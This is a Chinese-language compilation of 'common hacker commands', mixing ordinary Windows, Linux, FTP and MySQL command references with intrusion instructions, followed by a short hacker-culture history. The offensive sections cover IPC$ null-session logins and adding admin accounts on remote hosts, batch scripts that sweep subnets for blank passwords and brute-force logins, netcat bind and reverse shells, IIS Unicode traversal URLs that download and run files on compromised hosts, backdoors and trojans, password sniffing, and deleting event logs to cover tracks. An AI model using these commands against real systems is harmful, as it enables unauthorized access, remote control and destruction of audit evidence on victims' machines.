黑客常用命令大全[范文]

第一篇：黑客常用命令大全[范文]

Dos常用命令一：

net use ipipc$ “ ” /user:“ ” 建立IPC空链接

net use ipipc$ “密码” /user:“用户名” 建立IPC非空链接

net use h: ipc$ “密码” /user:“用户名” 直接登陆后映射对方C：到本地为H: net use h: ipc$ 登陆后映射对方C：到本地为H: net use ipipc$ /del 删除IPC链接

net use h: /del 删除映射对方到本地的为H:的映射 net user 用户名 密码 /add 建立用户 net user guest /active:yes 激活guest用户 net user 查看有哪些用户 net user 帐户名 查看帐户的属性

net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数

net start 查看开启了哪些服务

net start 服务名 开启服务；(如:net start telnet，net start schedule)net stop 服务名 停止某服务 net time 目标ip 查看对方时间

net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息

net view 查看本地局域网内开启了哪些共享 net view ip 查看对方局域网内开启了哪些共享 net config 显示系统网络设置 net logoff 断开连接的共享 net pause 服务名 暂停某服务

net send ip “文本信息” 向对方发信息

net ver 局域网内正在使用的网络连接类型和信息 net share 查看本地开启的共享 net share ipc$ 开启ipc$共享 net share ipc$ /del 删除ipc$共享

net share c$ /del 删除C：共享

net user guest 12345 用guest用户登陆后用将密码改为12345 net password 密码 更改系统登陆密码

netstat-a 查看开启了哪些端口,常用netstat-an netstat-n 查看端口的网络连接情况，常用netstat-an netstat-v 查看正在进行的工作

netstat-p 协议名 例：netstat-p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况）netstat-s 查看正在使用的所有协议使用情况

nbtstat-A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写

tracert-参数 ip(或计算机名)跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。ping ip(或域名)向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。

ping-t-l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)

ipconfig(winipcfg)用于windows NT及XP(windows 95 9查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息

tlist-t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)kill-F 进程名加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)del-F 文件名加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

Dos常用命令二：

del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同）

move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖

fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，“> ”和“> >” 是重定向命令

at id号 开启已注册的某个计划任务

at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止

at id号 /delete 停止某个已注册的计划任务 at 查看所有的计划任务

at ip time 程序名(或一个命令)/r 在某时间运行对方某程序并重新启动计算机 finger username @host 查看最近有哪些用户登陆 telnet ip 端口 远和登陆服务器,默认端口为23 open ip 连接到IP（属telnet登陆后的命令）

telnet 在本机上直接键入telnet 将进入本机的telnet copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件

copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下

cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件

copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C：

xcopy 要复制的文件或目录树 目标地址目录名复制文件和目录树，用参数/Y将不提示覆盖相同文件

tftp-i 自己IP(用肉机作跳板时这用肉机IP)get server.exe c:server.exe 登陆后，将“IP”的server.exe下载到目标主机c:server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送

tftp-i 对方IP put c:server.exe 登陆后，上传本地c:server.exe至主机

ftp ip 端口用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关

地址Gateway addres，接口地址Interface arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp-a将显示出全部信息

start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令 mem 查看cpu使用情况

attrib 文件名(目录名)查看某文件（目录）的属性

attrib 文件名-A-R-S-H 或 +A +R +S +H 去掉(添加)某文件的存档，只读，系统，隐藏 属性；用＋则是添加为某属性

dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间

date /t、time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间

set 指定环境变量名称=要指派给变量的字符 设置环境变量 set 显示当前所有的环境变量

set p(或其它字符)显示出当前以字符p(或其它字符)开头的所有环境变量 pause 暂停批处理程序，并显示出：请按任意键继续....if 在批处理程序中执行条件处理（更多说明见if命令及变量）

goto 标签将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签）

call 路径批处理文件名 从批处理程序中调用另一个批处理程序（更多说明见call /?）for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置 echo 信息 在屏幕上显示出信息

echo 信息 >> pass.txt 将“信息”保存到pass.txt文件中 findstr “Hello” aa.txt 在aa.txt文件中寻找字符串hello find 文件名 查找某文件

title 标题名字 更改CMD窗口标题名字

color 颜色值设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白

prompt 名称更改cmd.exe的显示的命令提示符(把C:、D:统一改为：EntSky)

Dos常用命令三：

ver 在DOS窗口下显示版本信息

winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS md 目录名 创建目录

replace 源文件 要替换文件的目录 替换文件

ren 原文件名 新文件名 重命名文件名

tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称 type 文件名 显示文本文件的内容 more 文件名 逐屏显示输出文件 doskey 要锁定的命令＝字符

doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky(不能用doskey dir=dir)；解锁：doskey dir= taskmgr 调出任务管理器

chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误

tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口

exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe path 路径可执行文件的文件名 为可执行文件设置一个路径。

cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /? regedit /s 注册表文件名导入注册表；参数/S指安静模式导入，无任何提示； regedit /e 注册表文件名 导出注册表

cacls 文件名 参数显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取，W 写入，C 更改(写入)，F 完全控制；例：cacls D:test.txt /D pub 设定d:test.txt拒绝pub用户访问。cacls 文件名 查看文件的访问用户权限列表 REM 文本内容 在批处理文件中添加注解 netsh 查看或更改本地网络配置情况

Dos常用命令四：

IIS服务命令：

iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现）iisreset /start或stop 启动（停止）所有Internet服务 iisreset /restart 停止然后重新启动所有Internet服务 iisreset /status 显示所有Internet服务状态

iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动

iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机 iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务

iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。FTP 命令：(后面有详细说明内容)ftp的命令行格式为: ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。－d 使用调试方式。

－n 限制ftp的自动登录,即不使用.netrc文件。－g 取消全局文件名。

help [命令] 或 ？[命令] 查看命令说明

bye 或 quit 终止主机FTP进程,并退出FTP管理方式.pwd 列出当前远端主机目录

put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 mget [remote-files] 从远端主机接收一批文件至本地主机

mput local-files 将本地主机中一批文件传送至远端主机

dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件

ascii 设定以ASCII方式传送文件(缺省值)bin 或 image 设定以二进制方式传送文件 bell 每完成一次文件传送,报警提示 cdup 返回上一级目录

close 中断与远程服务器的ftp会话(与open对应)open host[port] 建立指定ftp服务器连接,可指定连接端口 delete 删除远端主机中的文件 mdelete [remote-files] 删除一批文件 mkdir directory-name 在远端主机中建立目录 rename [from] [to] 改变远端主机中的文件名 rmdir directory-name 删除远端主机中的目录 status 显示当前FTP的状态 system 显示远端主机系统类型

user user-name [password] [account] 重新以别的用户名登录远端主机 open host [port] 重新建立一个新的连接 prompt 交互提示模式

macdef 定义宏命令

lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 chmod 改变远端主机的文件权限

case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 cd remote－dir 进入远程主机目录 cdup 进入远程主机目录的父目录

!在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip

Dos常用命令五：

MYSQL 命令：

mysql-h主机地址-u用户名 －p密码连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。

（例：mysql-h110.110.110.110-Uroot-P123456 注:u与root可以不用加空格，其它也一样）

exit 退出MYSQL mysqladmin-u用户名-p旧密码 password 新密码 修改密码

grant select on 数据库.* to 用户名@登录主机 identified by “密码”;增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符）show databases;显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。use mysql；

show tables;显示库中的数据表 describe 表名;显示数据表的结构 create database 库名;建库

use 库名；

create table 表名(字段设定列表)； 建表 d ro p database 库名;drop table 表名； 删库和删表 delete from 表名;将表中记录清空

select * from 表名;显示表中的记录

mysqldump--opt school>school.bbb 备份数据库：（命令在DOS的mysqlbin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。

win2003系统下新增命令（实用部份）： shutdown /参数 关闭或重启本地或远程主机。

参数说明：/S 关闭主机，/R 重启主机，/T 数字设定延时的时间，范围0～180秒之间，/A取消开机，/M //IP 指定的远程主机。

例：shutdown /r /t 0 立即重启本地主机（无延时）

taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。

tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。

Dos常用命令六：

Linux系统下基本命令： 要区分大小写 uname 显示版本信息（同win2K的 ver）

dir 显示当前目录文件,ls-al 显示包括隐藏文件（同win2K的 dir）pwd 查询当前所在的目录位置

cd cd..回到上一层目录，注意cd 与..之间有空格。cd /返回到根目录。cat 文件名 查看文件内容

cat >abc.txt 往abc.txt文件中写上内容。

more 文件名 以一页一页的方式显示一个文本文件。cp 复制文件

mv 移动文件

rm 文件名 删除文件，rm-a 目录名删除目录及子目录 mkdir 目录名 建立目录

rmdir 删除子目录，目录内没有文档。chmod 设定档案或目录的存取权限 grep 在档案中查找字符串 diff 档案文件比较 find 档案搜寻

date 现在的日期、时间

who 查询目前和你使用同一台机器的人以及Login时间地点 w 查询目前上机者的详细资料 whoami 查看自己的帐号名称

groups 查看某人的Group passwd 更改密码

history 查看自己下过的命令 ps 显示进程状态 kill 停止某进程

gcc 黑客通常用它来编译C语言写的文件 su 权限转换为指定使用者

telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。ftp ftp连接上某服务器（同win2K）

附：Dos常用命令之批处理命令与变量

1：for命令及变量 基本格式：

FOR /参数 %variable IN(set)DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i，而指定一个变量则用：%%i，而调用变量时用：%i%，变量是区分大小写的（%i 不等于 %I）。批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net use ipipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

(set):指定一个或一组文件，可使用通配符，如：(D:user.txt)和(1 1 254)(1-1 254),{ “(1 1 254)”第一个“1”指起始值，第二个“1”指增长量，第三个“254”指结束值，即：从1到254；“(1-1 254)”说明：即从254到1 }

command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：& 来隔开

command_parameters：为特定命令指定参数或命令行开关

IN(set)：指在(set)中取值；DO command ：指执行command

参数：/L 指用增量形式{(set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{(set)为文件时，如(d:pass.txt)时 }。用法举例： @echo off echo 用法格式：test.bat *.*.* > test.txt

for /L %%G in(1 1 254)do echo %1.%%G >>test.txt & net use %1.%%G /user:administrator | find “命令成功完成” >>test.txt 存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。

/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；& 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有“命令成功完成”信息；%1.%%G 为完整的IP地址；(1 1 254)指起始

值，增长量，结止值。@echo off echo 用法格式：ok.bat ip FOR /F %%i IN(D:user.dic)DO smb.exe %1 %%i D:pass.dic 200 存为：ok.exe 说明：输入一个IP后，用字典文件d:pass.dic来暴解d:user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。

Dos常用命令七：

2：if命令及变量 基本格式：

IF [not] errorlevel 数字 命令语句如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为“真”。

例：IF errorlevel 0 命令指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。

0 指发现并成功执行（真）；1 指没有发现、没执行（假）。

IF [not] 字符串1==字符串2 命令语句如果指定的文本字符串匹配（即：字符串1 等于字符串2），就执行后面的命令。

例：“if “%2%”==“4” goto start”指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加“ ”）

IF [not] exist 文件名 命令语句如果指定的文件名存在，就执行后面的命令。例：“if not nc.exe goto end”指：如果没有发现nc.exe文件就跳到“:end”标签处。

IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。当有del命令时需把del命令全部内容用< >括起来，因为del命令要单独一行时才能执行，用上< >后就等于是单独一行了；例如：“if exist test.txt. else echo test.txt.missing ”，注意命令中的“.”

（二）系统外部命令(均需下载相关工具)：

1、瑞士军刀：nc.exe

参数说明：

-h 查看帮助信息

-d 后台模式

-e prog程序重定向，一但连接就执行〔危险〕-i secs延时的间隔

-l 监听模式，用于入站连接

-L 监听模式，连接天闭后仍然继续监听，直到CTR+C-n IP地址，不能用域名-o film记录16进制的传输-p[空格]端口 本地端口号-r 随机本地及远程端口-t 使用Telnet交互方式

-u UDP模式

-v 详细输出，用-vv将更详细-w数字 timeout延时间隔

-z 将输入，输出关掉（用于扫锚时）基本用法：

nc-nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 nc-l-p 80 开启本机的TCP 80端口并监听

nc-nvv-w2-z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口

nc-l-p 5354-t-e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口

nc-t-e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口

高级用法：

nc-L-p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止

nc-L-p 80 > c:log.txt 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:log.txt nc-L-p 80 < c:honeyport.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:honeyport.txt中内容送入管道中，亦可起到传送文件作用 type.exe c:honeyport | nc-L-p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用 本机上用：nc-l-p 本机端口

在对方主机上用：nc-e cmd.exe 本机IP-p 本机端口 *win2K nc-e /bin/sh 本机IP-p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 本机上用：nc-d-l-p 本机端口 < 要传送的文件路径及名称

在对方主机上用：nc-vv 本机IP 本机端口 > 存放文件的路径及名称传送文件到对方主机 备 注： | 管道命令

< 或 > 重定向命令。“<”，例如：tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令

＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:winnt >> d:log.txt 意思是：后台执行dir，并把结果存在d:log.txt中

>与>>的区别 “>”指：覆盖；“>>”指：保存到(添加到）。

如：@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二个命令分别执行二次比较看：用>>的则是把二次的结果都保存了，而用：>则只有一次的结果，是因为第二次的结果把第一次的覆盖了。

Dos常用命令八：

2、扫锚工具：xscan.exe

基本格式

xscan-host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚“起始IP到终止IP”段的所有主机信息

xscan-file <主机列表文件名> <检测项目> [其他选项] 扫锚“主机IP列表文件名”中的所有主

机信息

检测项目

-active 检测主机是否存活

-os 检测远程操作系统类型（通过NETBIOS和SNMP协议）-port 检测常用服务的端口状态-ftp 检测FTP弱口令

-pub 检测FTP服务匿名用户写权限-pop3 检测POP3-Server弱口令-smtp 检测SMTP-Server漏洞-sql 检测SQL-Server弱口令-smb 检测NT-Server弱口令-iis 检测IIS编码/解码漏洞-cgi 检测CGI漏洞

-nasl 加载Nessus攻击脚本-all 检测以上所有项目 其它选项

-i 适配器编号 设置网络适配器, <适配器编号>可通过“-l”参数获取-l 显示所有网络适配器-v 显示详细扫描进度

-p 跳过没有响应的主机

-o 跳过没有检测到开放端口的主机

-t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10-log 文件名 指定扫描报告文件名(后缀为：TXT或HTML格式的文件)用法示例

xscan-host 192.168.1.1-192.168.255.255-all-active-p 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机

xscan-host 192.168.1.1-192.168.255.255-port-smb-t 150-o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放端口的主机

xscan-file hostlist.txt-port-cgi-t 200,5-v-o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态，CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开放端口的主机

Dos常用命令九：

3、命令行方式嗅探器: xsniff.exe 可捕获局域网内FTP/SMTP/POP3/HTTP协议密码 参数说明

-tcp 输出TCP数据报-udp 输出UDP数据报-icmp 输出ICMP数据报-pass 过滤密码信息-hide 后台运行-host 解析主机名

-addr IP地址 过滤IP地址-port 端口 过滤端口

-log 文件名 将输出保存到文件-asc 以ASCII形式输出-hex 以16进制形式输出

用法示例

xsniff.exe-pass-hide-log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中 xsniff.exe-tcp-udp-asc-addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息

第二篇：网管和黑客常用的命令总结

常用的几条NET命令：

====

（与远程主机建立空管连接）net use IP地址ipc$ “" /use:”“

（以管理员身份登录远程主机）net use IP地址ipc$ ”密码“ /use:”Administrator“

（传送文件到远程主机WINNT目录下）copy 本机目录路径程序 IP地址admin$

（查看远程主机时间）net time IP地址

（定时启动某个程序）at IP地址 02:18 readme.exe

（查看共享）net view IP地址

（查看netbios工作组列表）nbtstat-A IP地址

（将远程主机C盘映射为自己的F盘）net use f: IP地址c$ ”“/user:”Administrator“

（这两条把自己增加到管理员组）： net user 用户名 密码 /add

net localgroup Administrators 用户名 /add

（断开连接）net use IP地址ipc$ /delete

=======

擦屁屁：

del C:winntsystem32logfiles*.*

del C:winntsystem32config*.evt

del C:winntsystem32dtclog*.*

del C:winntsystem32*.log

del C:winntsystem32*.txt

del C:winnt*.txt

del C:winnt*.log ============================

一、netsvc.exe

下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：

netsvc /list IP地址

netsvc schedule IP地址 /query

netsvc IP地址 schedule /start

二、OpenTelnet.exe

远程启动主机的Telnet服务，并绑定端口到7878，例如：

OpenTelnet IP地址 用户名 密码 1 7878

然后就可以telnet到主机的7878端口，进入DOS方式下：

telnet IP地址 7878

三、winshell.exe

一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：

p Path（查看winshell主程序的路径信息）

b reBoot（重新启动机器）

d shutDown（关闭机器）

s Shell（执行后你就会看到可爱的“C:>”）

x eXit（退出本次登录会话，此命令并不终止winshell的运行）

CMD> http://.../srv.exe（通过http下载其他网站上的文件到运行winshell的机器上）

四、3389登陆器，GUI方式登录远程主机的五、elsave.exe

事件日志清除工具

elsave-s IP地址-l ”application“-C

elsave-s IP地址-l ”system“-C

elsave-s IP地址-l ”security“-C

执行后成功清除应用程序日志，系统日志，安全日志

六、hbulot.exe

开启win2kserver和winxp的3389服务

hbulot [/r]

使用/r表示安装完成后自动重起目标使设置生效。

七、nc.exe(netcat.exe)

一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。

想要连接到某处: nc [-options] hostname port[s] [ports]...绑定端口等待连接: nc-l-p port [-options] [hostname] [port]

参数:

-e prog 程序重定向，一旦连接，就执行 [危险！]

-g gateway source-routing hop point[s], up to 8

-G num source-routing pointer: 4, 8, 12,...-h 帮助信息

-i secs 延时的间隔

-l 监听模式，用于入站连接

-n 指定数字的IP地址，不能用hostname

-o file 记录16进制的传输

-p port 本地端口号

-r 任意指定本地及远程端口

-s addr 本地源地址

-u UDP模式

-v 详细输出——用两个-v可得到更详细的内容

-w secs timeout的时间

-z 将输入输出关掉——用于扫描时

八、TFTPD32.EXE

把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：

http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp-i 本机IP地址 get 文件名 c:winntsystem32文件名

然后可以直接令文件运行：

http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名

九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。

一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。

一、一 Xscan命令行运行参数说明：

在检测过程中，按”[空格]“键可以查看各线程状态及扫描进度，按”q“键保存当前数据后提前退出程序，按”“强行关闭程序。

1.命令格式: xscan-host [-] [其他选项]

xscan-file [其他选项]

其中 含义如下:

-port : 检测常用服务的端口状态(可通过datconfig.ini

文件的”PORT-SCAN-OPTIONSPORT-LIST“项定制待检测端口列表)；

-ftp : 检测FTP弱口令(可通过datconfig.ini文件设置用户名/密码字典文件)；

-ntpass : 检测NT-Server弱口令(可通过datconfig.ini文件设置用户名/密码字典文件)；

-cgi : 检测CGI漏洞(可通过datconfig.ini文件的”CGI-ENCODEencode_type“项设置编码方案)；

-iis : 检测IIS漏洞(可通过datconfig.ini文件的”CGI-ENCODEencode_type"项设置编码方案)；

[其他选项] 含义如下:

-v: 显示详细扫描进度

-p: 跳过Ping不通的主机

-o: 跳过没有检测到开放端口的主机

-t : 指定最大并发线程数量和并发主机数量, 默认数量为100,10

第三篇：黑客文化

第一课：黑客历史文化介绍（上）

一、黑 客 概 述

黑客最早始于20 世纪50年代，最早的计算机1946年在宾夕法尼亚大学出现，而最早的黑客出现于麻省理工学院，贝尔实验室也有。最初的黑客一般都是一些高级的技术人员，他们热衷于挑战、崇尚自由并主张信息的共享。随着计算机的普及和因特网技术的迅速发展，黑客也随之出现了。

二、黑客简介

“黑客”一词由英语Hacker英译而来，是指专门研究、发现计算机和网络漏洞的计算机爱好者。他们伴随着计算机和网络的发展而产生成长。黑客对计算机有着狂热的兴趣和执着的追求，他们不断地研究计算机和网络知识，发现计算机和网络中存在的漏洞，喜欢挑战高难度的网络系统并从中找到漏洞，然后向管理员提出解决和修补漏洞的方法。

黑客不干涉政治，不受政治利用，他们的出现推动了计算机和网络的发展与完善。黑客所做的不是恶意破坏，他们是一群纵横驰骋于网络上的大侠，追求共享、免费，提倡自由、平等。黑客的存在是由于计算机技术的不健全，从某种意义上来讲，计算机的安全需要更多黑客去维护。

但是到了今天，黑客一词已被用于泛指那些专门利用计算机搞破坏或恶作剧的家伙，对这些人的正确英文叫法是Cracker，有人也翻译成“骇客”或是“入侵者”，也正是由于入侵者的出现玷污了黑客的声誉，使人们把黑客和入侵者混为一谈，黑客被人们认为是在网上到处搞破坏的人。

三、中国黑客的发展

目前中国黑客的发展总体可以归为五大趋势：

1.黑客年轻化。

由于中国互联网的普及，所以越来越多对这方面感兴趣的中学生，也已经踏足到这个领域.2.黑客的破坏力扩大化。

因互联网的普及，黑客的破坏力也日益扩大化，仅在美国，黑客每年造成的经济损失就超过100亿美元，可想而知，对于安全刚起步的中国，破坏的影响程度有多大了.3.黑客技术的迅速普及.黑客组织的形成和黑客傻瓜式工具的大量出现导致的一个直接后果就是黑客技术的普及，黑客事件的剧增，黑客组织规模的扩大，黑客站点的大量涌现，也说明了黑客技术开始普及，甚至很多十多岁的年轻人也有了自己的黑客站点，从很多BBS上也可以看到学习探讨黑客技术的人也越来越来多。

4.黑客技术的工具化。

黑客事件越来越多的一个的重要原因，黑客工具越来越多，越来越容易获得，也越来越傻瓜化和自动化，据中国科学院许榕生研究员介绍，黑客运用的软件工具已超过1000种。

5.黑客组织化。

对于黑客的破坏，人们的网络安全意识开始增强，计算机产品的安全性被放在很重要的位置，漏洞和缺陷也越来越难发现；而且因为利益的驱使，黑客开始由原来的单兵作战变成有组织的黑客群体，在黑客组织内部，成员之间相互交流技术经验，共同采取黑客行动，成功率增高，影响力也更大。黑客历史文化介绍（中）

2007年的互联网状况可以说是不容乐观，自从轰动一时的“熊猫烧香”、“金猪”病毒、到最近的“灰鸽子”木马事件，关于黑客的新闻可真不少，网银、政府机构、Vista，甚至守卫森严的白宫，也难免被黑客留下到此一游的纪念。黑客是互联网世界最神秘而令人向往的群体，他们无所不能，来去无踪，但不为外人所知。我们将通过网易科技评出的中国黑客江湖东邪西毒南帝北丐中神通，加上八大门派的讲解，向您描述一个完整的中国黑客武林。

一、黑客江湖之东邪西毒南帝北丐中神通 [东邪] 龚 蔚

龚蔚与东邪黄药师相似的地方在于，他们的众多“弟子”纷纷背叛了自己，要么另立门户，要么被视为江湖异类，门庭逐渐衰落。[西毒] 黄 鑫

他没入侵过任何一部机器，没黑过任何一个网站，没参与任何爱国保卫战。但不妨碍黄鑫成为中国黑客江湖旗帜性人物之一，他被冠予木马教父之名。[南帝] 谢朝霞

中国黑客武林的鼻祖式人物，中国黑客十年，谢朝霞做了10年的黑客，谢朝霞的地位没因时间的消逝而褪去。[北丐] 万 涛

作为中国鹰派的创始人，在中日黑客抗战、印尼排华战役、中美黑客大战、反台独战役，均有万涛的身影，并扮演了重要的角色。[中神通] 小 榕

说到中国黑客江湖，基本无人不知小榕。中国黑客江湖不是因小榕而始，也不会因小榕以后退隐而湮灭，但中国黑客江湖却是因小榕的突起得到无限的延伸。

